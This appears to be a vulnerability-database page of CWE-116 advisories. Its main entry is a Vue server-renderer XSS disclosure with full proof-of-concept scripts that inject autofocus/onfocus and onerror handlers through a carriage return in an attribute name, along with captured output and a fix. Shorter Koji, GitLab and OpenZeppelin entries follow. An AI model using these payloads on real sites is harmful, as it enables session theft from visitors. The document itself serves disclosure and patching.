CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
764 vulnerabilities reference this CWE, most recent first.
GHSA-G2V6-RQMX-R4W6
Vulnerability from github – Published: 2026-10-05 22:50 – Updated: 2026-10-05 22:50Description
@vue/server-renderer was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.
ssrRenderAttrs() (in packages/server-renderer/src/helpers/ssrRenderAttrs.ts) is what compiled SSR output calls for something like <div v-bind="userObject">. It loops over the object's own keys and, for each one, renders it as an HTML attribute:
export function ssrRenderDynamicAttr(
key: string,
value: unknown,
tag?: string,
): string {
if (!isRenderableAttrValue(value)) {
return ``
}
const attrKey = ...
if (isBooleanAttr(attrKey) || ...) {
return includeBooleanAttr(value) ? ` ${attrKey}` : ``
} else if (isSSRSafeAttrName(attrKey)) {
return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
} else {
console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
return ``
}
}
The value always goes through escapeHtml() -- that part is correctly and consistently applied everywhere in this file. But the attribute name (attrKey) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
export function isSSRSafeAttrName(name: string): boolean {
if (attrValidationCache.hasOwnProperty(name)) {
return attrValidationCache[name]
}
const isUnsafe = unsafeAttrCharRE.test(name)
if (isUnsafe) {
console.error(`unsafe attribute name: ${name}`)
}
return (attrValidationCache[name] = !isUnsafe)
}
That blacklist covers: >, /, =, ", apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as \r in JS).
That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every \r not followed by \n into a \n before the tokenizer even starts. So a raw \r sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.
Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:
Prrof
The real, unmodified ssrRenderAttrs() from the published @vue/server-renderer@3.5.41 package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.
Full script, saved as poc.mjs (GitHub doesn't let me attach .mjs directly, so the complete file is here):
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';
// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST \r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
[maliciousKey]: 'alert(document.cookie)',
};
const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));
const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));
// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// \r\n -> \n input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}
const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
console.log('Not confirmed.');
}
This is a fresh npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5 -- the real, currently-published packages, not anything modified:
Real, captured output:
=== Raw string produced by the real ssrRenderAttrs() ===
" x\rautofocus\ronfocus=\"alert(document.cookie)\""
=== Full element HTML ===
"<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>"
=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the <div>:
"x" = ""
"autofocus" = ""
"onfocus" = "alert(document.cookie)"
*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***
*** onfocus value: "alert(document.cookie)" ***
The single attribute name Vue intended to render safely -- x\rautofocus\ronfocus -- gets parsed by any real browser as three separate things: an empty x attribute, a real autofocus boolean attribute, and a real onfocus="alert(document.cookie)" event handler. autofocus means the element receives focus automatically on page load, which fires the focus event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.
This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case ("foo\rbar" as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (foo="" and bar="..."), before building the full self-triggering payload above.
To go beyond the parser-level proof, there is a second script that calls the real ssrRenderAttrs(), captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as generate_real_poc.mjs:
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';
// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'x\rsrc\ronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };
const vueOutput = ssrRenderAttrs(props);
console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));
// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the <img> tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;
const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('\nWrote', outPath);
console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.');
Opening that generated file in a real browser fires the payload automatically:
Dev tools on that same page confirm the browser genuinely parsed three separate attributes (x, src, onerror), matching the on-page proof text that was written directly from Vue's real return value:
Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM setAttribute() API, which validates the name against the HTML QName grammar and throws a DOMException for characters like " (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an @vue/server-renderer (SSR) issue.
Impact
This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via v-bind="object" or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by escapeHtml(). Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario isSSRSafeAttrName() exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).
Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected autofocus/onfocus payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.
Suggested fix
Add U+000D (carriage return) to unsafeAttrCharRE in packages/shared/src/domAttrConfig.ts:
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/
Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.0-rc.0"
},
{
"fixed": "3.6.0-rc.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:50:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Description\n\n`@vue/server-renderer` was investigated specifically because it\u0027s the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that\u0027s already running the app\u0027s own JS.\n\n`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `\u003cdiv v-bind=\"userObject\"\u003e`. It loops over the object\u0027s own keys and, for each one, renders it as an HTML attribute:\n\n```ts\nexport function ssrRenderDynamicAttr(\n key: string,\n value: unknown,\n tag?: string,\n): string {\n if (!isRenderableAttrValue(value)) {\n return ``\n }\n const attrKey = ...\n if (isBooleanAttr(attrKey) || ...) {\n return includeBooleanAttr(value) ? ` ${attrKey}` : ``\n } else if (isSSRSafeAttrName(attrKey)) {\n return value === \u0027\u0027 ? ` ${attrKey}` : ` ${attrKey}=\"${escapeHtml(value)}\"`\n } else {\n console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)\n return ``\n }\n}\n```\n\nThe value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:\n\n```ts\n// packages/shared/src/domAttrConfig.ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u0020]/\n\nexport function isSSRSafeAttrName(name: string): boolean {\n if (attrValidationCache.hasOwnProperty(name)) {\n return attrValidationCache[name]\n }\n const isUnsafe = unsafeAttrCharRE.test(name)\n if (isUnsafe) {\n console.error(`unsafe attribute name: ${name}`)\n }\n return (attrValidationCache[name] = !isUnsafe)\n}\n```\n\nThat blacklist covers: `\u003e`, `/`, `=`, `\"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\\r` in JS).\n\nThat matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (\"preprocessing the input stream\") converts every `\\r` not followed by `\\n` into a `\\n` before the tokenizer even starts. So a raw `\\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that\u0027s exactly the gap.\n\nBelow is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:\n\n\u003cimg width=\"781\" height=\"336\" alt=\"poc1\" src=\"https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8\" /\u003e\n\n## Prrof\n\nThe real, unmodified \u00a0ssrRenderAttrs()\u00a0 from the published \u00a0@vue/server-renderer@3.5.41\u00a0 package was tested. The source at HEAD and the upcoming \u00a0v3.6.0-rc.2\u00a0 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.\n\nFull script, saved as `poc.mjs` (GitHub doesn\u0027t let me attach `.mjs` directly, so the complete file is here):\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport { parseFragment } from \u0027parse5\u0027;\n\n// This is exactly what compiled SSR output calls for `\u003cdiv v-bind=\"userObject\"\u003e`\n// -- the real, unmodified, published ssrRenderAttrs function.\n// Full attack chain: the key itself contains ONLY letters, digits, and a\n// bare \\r (carriage return) -- no \u0027\u003e\u0027, \u0027/\u0027, \u0027=\u0027, \u0027\"\u0027, \"\u0027\", tab, LF, FF, or\n// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value\n// is attacker-controlled JavaScript, delivered as the genuine value of the\n// LAST \\r-separated fragment, which Vue\u0027s own template naturally appends via\n// `=\"${escapeHtml(value)}\"` immediately after the key.\nconst maliciousKey = \u0027x\\rautofocus\\ronfocus\u0027;\nconst props = {\n [maliciousKey]: \u0027alert(document.cookie)\u0027,\n};\n\nconst rawAttrString = ssrRenderAttrs(props);\nconsole.log(\u0027=== Raw string produced by the real ssrRenderAttrs() ===\u0027);\nconsole.log(JSON.stringify(rawAttrString));\nconsole.log();\nconsole.log(\u0027=== As it would literally appear in the HTML response ===\u0027);\nconsole.log(rawAttrString.replace(/\\r/g, \u0027\\\\r\u0027).replace(/\\n/g, \u0027\\\\n\\n\u0027));\n\nconst fullHtml = `\u003cdiv${rawAttrString}\u003econtent\u003c/div\u003e`;\nconsole.log();\nconsole.log(\u0027=== Full element HTML ===\u0027);\nconsole.log(JSON.stringify(fullHtml));\n\n// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5\n// parser (the same parsing algorithm real browsers implement, including the\n// \\r\\n -\u003e \\n input-preprocessing normalization step).\nconst fragment = parseFragment(fullHtml);\nconst div = fragment.childNodes.find(n =\u003e n.tagName === \u0027div\u0027);\nconsole.log();\nconsole.log(\u0027=== How a real HTML5 parser (parse5) actually interprets this ===\u0027);\nconsole.log(\u0027Attributes parsed on the \u003cdiv\u003e:\u0027);\nfor (const attr of div.attrs) {\n console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);\n}\n\nconst injectedHandler = div.attrs.find(a =\u003e a.name === \u0027onfocus\u0027);\nconst injectedAutofocus = div.attrs.find(a =\u003e a.name === \u0027autofocus\u0027);\nconsole.log();\nif (injectedHandler \u0026\u0026 injectedAutofocus) {\n console.log(\u0027*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\u0027);\n console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);\n console.log(\u0027*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***\u0027);\n} else {\n console.log(\u0027Not confirmed.\u0027);\n}\n```\n\nThis is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:\n\n\u003cimg width=\"831\" height=\"531\" alt=\"poc2\" src=\"https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29\" /\u003e\n\nReal, captured output:\n\n```\n=== Raw string produced by the real ssrRenderAttrs() ===\n\" x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\"\n\n=== Full element HTML ===\n\"\u003cdiv x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\u003econtent\u003c/div\u003e\"\n\n=== How a real HTML5 parser (parse5) actually interprets this ===\nAttributes parsed on the \u003cdiv\u003e:\n \"x\" = \"\"\n \"autofocus\" = \"\"\n \"onfocus\" = \"alert(document.cookie)\"\n\n*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\n*** onfocus value: \"alert(document.cookie)\" ***\n```\n\n\u003cimg width=\"834\" height=\"897\" alt=\"poc3\" src=\"https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437\" /\u003e\n\u003cimg width=\"834\" height=\"896\" alt=\"poc4\" src=\"https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea\" /\u003e\n\nThe single attribute name Vue intended to render safely -- `x\\rautofocus\\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus=\"alert(document.cookie)\"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.\n\nThis behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`\"foo\\rbar\"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=\"\"` and `bar=\"...\"`), before building the full self-triggering payload above.\n\nTo go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport fs from \u0027fs\u0027;\n\n// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed\n// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,\n// it is Vue\u0027s own function\u0027s real return value, captured programmatically.\nconst maliciousKey = \u0027x\\rsrc\\ronerror\u0027;\nconst props = { [maliciousKey]: \u0027alert(\"REAL Vue SSR output executed this -- cookie: \" + document.cookie)\u0027 };\n\nconst vueOutput = ssrRenderAttrs(props);\n\nconsole.log(\u0027=== Vue\\\u0027s real ssrRenderAttrs() returned exactly this string ===\u0027);\nconsole.log(JSON.stringify(vueOutput));\n\n// Build the full page around Vue\u0027s UNMODIFIED output -- the \u003cimg ...\u003e tag\n// content between the angle brackets is copied byte-for-byte from vueOutput,\n// not retyped.\nconst html = `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eVue SSR PoC -- byte-for-byte Vue output\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch3\u003eEverything inside the \u0026lt;img\u0026gt; tag below was written to this file\nprogrammatically from the real return value of \u003ccode\u003essrRenderAttrs()\u003c/code\u003e\nin the actual installed \u003ccode\u003e@vue/server-renderer@3.5.41\u003c/code\u003e package.\nNo HTML was hand-typed for the tag itself.\u003c/h3\u003e\n\u003cp\u003eExact JSON-escaped string Vue\u0027s function returned (see generate_real_poc.mjs, run right before this file was written):\u003c/p\u003e\n\u003cpre id=\"vue-output-proof\"\u003e${vueOutput.replace(/\u003c/g, \u0027\u0026lt;\u0027)}\u003c/pre\u003e\n\u003chr\u003e\n\u003cimg${vueOutput}\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n`;\n\nconst outPath = \u0027/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html\u0027;\nfs.writeFileSync(outPath, html);\nconsole.log(\u0027\\nWrote\u0027, outPath);\nconsole.log(\u0027Bytes inside the \u003cimg...\u003e tag are Vue\\\u0027s real, unmodified return value.\u0027);\n```\n\nOpening that generated file in a real browser fires the payload automatically:\n\n\u003cimg width=\"1666\" height=\"449\" alt=\"poc5\" src=\"https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a\" /\u003e\n\nDev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue\u0027s real return value:\n\n\u003cimg width=\"1348\" height=\"400\" alt=\"poc6\" src=\"https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb\" /\u003e\n\nWhether this affects client-side (non-SSR) Vue rendering was also checked: it doesn\u0027t, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `\"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That\u0027s a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.\n\n## Impact\n\nThis requires an application to bind an object whose keys (not just values) come from a source the developer doesn\u0027t fully control, via `v-bind=\"object\"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that\u0027s already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it\u0027s a real, documented, supported Vue feature, not a misuse of the framework -- and it\u0027s exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it\u0027s already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).\n\nWhere it\u0027s reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That\u0027s a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.\n\n## Suggested fix\n\nAdd U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`:\n\n```ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u000d\\u0020]/\n```\n\nDouble-checking against the full WHATWG \"ASCII whitespace\" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that\u0027s exactly the kind of list that\u0027s easy to leave a gap in, which is what happened here.",
"id": "GHSA-g2v6-rqmx-r4w6",
"modified": "2026-10-05T22:50:55Z",
"published": "2026-10-05T22:50:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/pull/15266"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f"
},
{
"type": "PACKAGE",
"url": "https://github.com/vuejs/core"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.5.42"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@vue/server-renderer: XSS via missing CR in attribute-name blacklist"
}
GHSA-G2VG-8HFG-79VJ
Vulnerability from github – Published: 2024-12-24 06:30 – Updated: 2025-02-07 06:31A vulnerability in Koji was found. An unsanitized input allows for an XSS attack. Javascript code from a malicious link could be reflected in the resulting web page. It is not expected to be able to submit an action or make a change in Koji due to existing XSS protections in the code.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "1.35.0"
},
{
"fixed": "1.35.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.35.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "1.34.0"
},
{
"fixed": "1.34.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.33.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9427"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-26T20:22:34Z",
"nvd_published_at": "2024-12-24T04:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Koji was found. An unsanitized input allows for an XSS attack. Javascript code from a malicious link could be reflected in the resulting web page. It is not expected to be able to submit an action or make a change in Koji due to existing XSS protections in the code.",
"id": "GHSA-g2vg-8hfg-79vj",
"modified": "2025-02-07T06:31:13Z",
"published": "2024-12-24T06:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9427"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-9427"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2316047"
},
{
"type": "WEB",
"url": "https://docs.pagure.org/koji/CVEs/CVE-2024-9427"
},
{
"type": "PACKAGE",
"url": "https://pagure.io/koji"
},
{
"type": "WEB",
"url": "https://pagure.io/koji/c/8c72d90d7bb991f8fb193851b80847ac9e9474a4?branch=master"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koji Cross-site Scripting"
}
GHSA-G4PX-P74V-Q4C7
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11Under very specific conditions a user could be impersonated using Gitlab shell. This vulnerability affects GitLab CE/EE 13.1 and later through 14.1.2, 14.0.7 and 13.12.9.
{
"affected": [],
"aliases": [
"CVE-2021-22254"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-20T18:15:00Z",
"severity": "MODERATE"
},
"details": "Under very specific conditions a user could be impersonated using Gitlab shell. This vulnerability affects GitLab CE/EE 13.1 and later through 14.1.2, 14.0.7 and 13.12.9.",
"id": "GHSA-g4px-p74v-q4c7",
"modified": "2022-05-24T19:11:48Z",
"published": "2022-05-24T19:11:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22254"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1087806"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22254.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/300265"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G4VP-M682-QQMP
Vulnerability from github – Published: 2023-08-11 19:00 – Updated: 2023-08-11 19:00Impact
OpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts using ERC2771Context along with a custom trusted forwarder may see _msgSender return address(0) in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case for MinimalForwarder from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders.
Patches
The problem has been patched in v4.9.3.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts-upgradeable"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40014"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-11T19:00:48Z",
"nvd_published_at": "2023-08-10T20:15:10Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nOpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts using `ERC2771Context` along with a custom trusted forwarder may see `_msgSender` return `address(0)` in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case for `MinimalForwarder` from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders.\n\n### Patches\n\nThe problem has been patched in v4.9.3.\n",
"id": "GHSA-g4vp-m682-qqmp",
"modified": "2023-08-11T19:00:48Z",
"published": "2023-08-11T19:00:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-g4vp-m682-qqmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40014"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4481"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4484"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/commit/9445f96223041abf2bf08daa56f8da50b674cbcd"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/commit/e4435eed757d4309436b1e06608e97b6d6e2fdb5"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/releases/tag/v4.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
